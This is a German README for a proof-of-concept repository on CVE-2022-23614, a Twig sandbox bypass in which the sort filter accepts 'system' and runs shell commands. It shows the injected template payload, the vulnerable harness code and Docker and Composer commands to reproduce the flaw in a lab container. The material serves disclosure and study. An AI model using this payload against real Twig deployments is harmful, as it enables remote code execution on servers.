
Proof of Concept für CVE-2022-23614 (Befehlsinjektion in Twig)
Machbarkeitsnachweis (PoC) für CVE-2022-23614, referenziert im DSA-5107-1.
Twig ist eine flexible, schnelle und sichere Template-Engine für PHP. Insbesondere ist es möglich, Filter in einem Template vor dessen Rendering zu verwenden. Der sort-Filter kann verwendet werden, um die Elemente eines Arrays mit der folgenden Struktur zu sortieren:
{{ [5,8,2,3]|sort('desc') }}
Twig verfügt über einen Sandbox-Modus, um nicht vertrauenswürdigen Template-Code auszuwerten. Im Sandbox-Modus muss der arrow-Parameter des sort-Filters eine Closure sein, um zu verhindern, dass Angreifer beliebige PHP-Funktionen ausführen können. In betroffenen Versionen wurde diese Einschränkung nicht ordnungsgemäß durchgesetzt, was zu einer Code-Injection von beliebigem PHP-Code führen konnte.
{{ ["id",""]|sort('system') }}
Dieses PoC veranschaulicht die Schwachstelle in zwei verschiedenen Anwendungsfällen: entweder unter Verwendung des Debian-Pakets php-twig (v2.14.1) oder des Composer-Moduls twig/twig (v2.14).
Die Datei index.php erstellt ein Twig-Template basierend auf dem ersten Argument. Im folgenden Code ist argv[1] der Name der Sortierfunktion, die von Twig beim Rendern verwendet wird.
// index.php - line 28
$templateCode .= "{{ args|sort('" . $sortFunction . "') }}\n";
Anschließend verwendet index.php zwei veraltete Funktionen von Twig, um das generierte Template zu laden. Schließlich verwendet es das zweite Argument (argv[2]), um Daten an das Template während des Renderns zu übergeben, insbesondere das args-Array, das wir sortieren möchten.
// index.php - line 44
$renderedTemplate = $modifiedTemplate->render($arrayToSort);
Das gerenderte Template wird dann in der Standardausgabe ausgegeben.
Bitte beachten Sie, dass dieses Repository nur zu Demonstrationszwecken erstellt wurde. Es soll einfach zu verstehen und benutzerfreundlich sein, um mit dem CVE nur über eine Befehlszeilenschnittstelle zu spielen. Es ist weit entfernt von dem, was man auf einem tatsächlich verwundbaren Server finden kann.
Mit Docker können wir den Kontext des ursprünglichen Debian Security Advisory (DSA) nachbilden. Sie können das mitgelieferte Skript build-docker.sh verwenden, um den verwundbaren Container ordnungsgemäß zu erstellen und auszuführen.
chmod a+x build-docker.sh
./build-docker.sh
Der Container sollte heruntergefahren werden, sobald die Payload ausgeführt wird (ein id-Befehl). Wenn Sie Ihre eigenen Befehle ausprobieren möchten, können Sie den Container im interaktiven Modus ausführen:
docker build -t cve-2022-23614 .
docker run -it --rm cve-2022-23614 /bin/bash
Sobald Sie im Container sind, können Sie Ihre eigene Payload mit dem folgenden Modell erstellen:
php index.php system '{"args":["id",""]}'
^ ^
sorting function array to sort
Dieses Dockerfile wurde teilweise mit DECRET erstellt.
Wenn Sie PHP und Composer bereits auf Ihrem Rechner installiert haben, können Sie den Exploit mit dem verwundbaren Composer-Modul nachstellen.
cd exploit
composer install
Dann müssen Sie nur noch mit der Payload spielen.
php index.php system '{"args":["id",""]}'
CVE-Details: https://nvd.nist.gov/vuln/detail/CVE-2022-23614
DSA: https://www.debian.org/security/2022/dsa-5107
Patch-Commit: https://github.com/twigphp/Twig/commit/22b9dc3c03ee66d7e21d9ed2ca76052b134cb9e9
PoC von davwwwx (mit GUI): https://github.com/davwwwx/CVE-2022-23614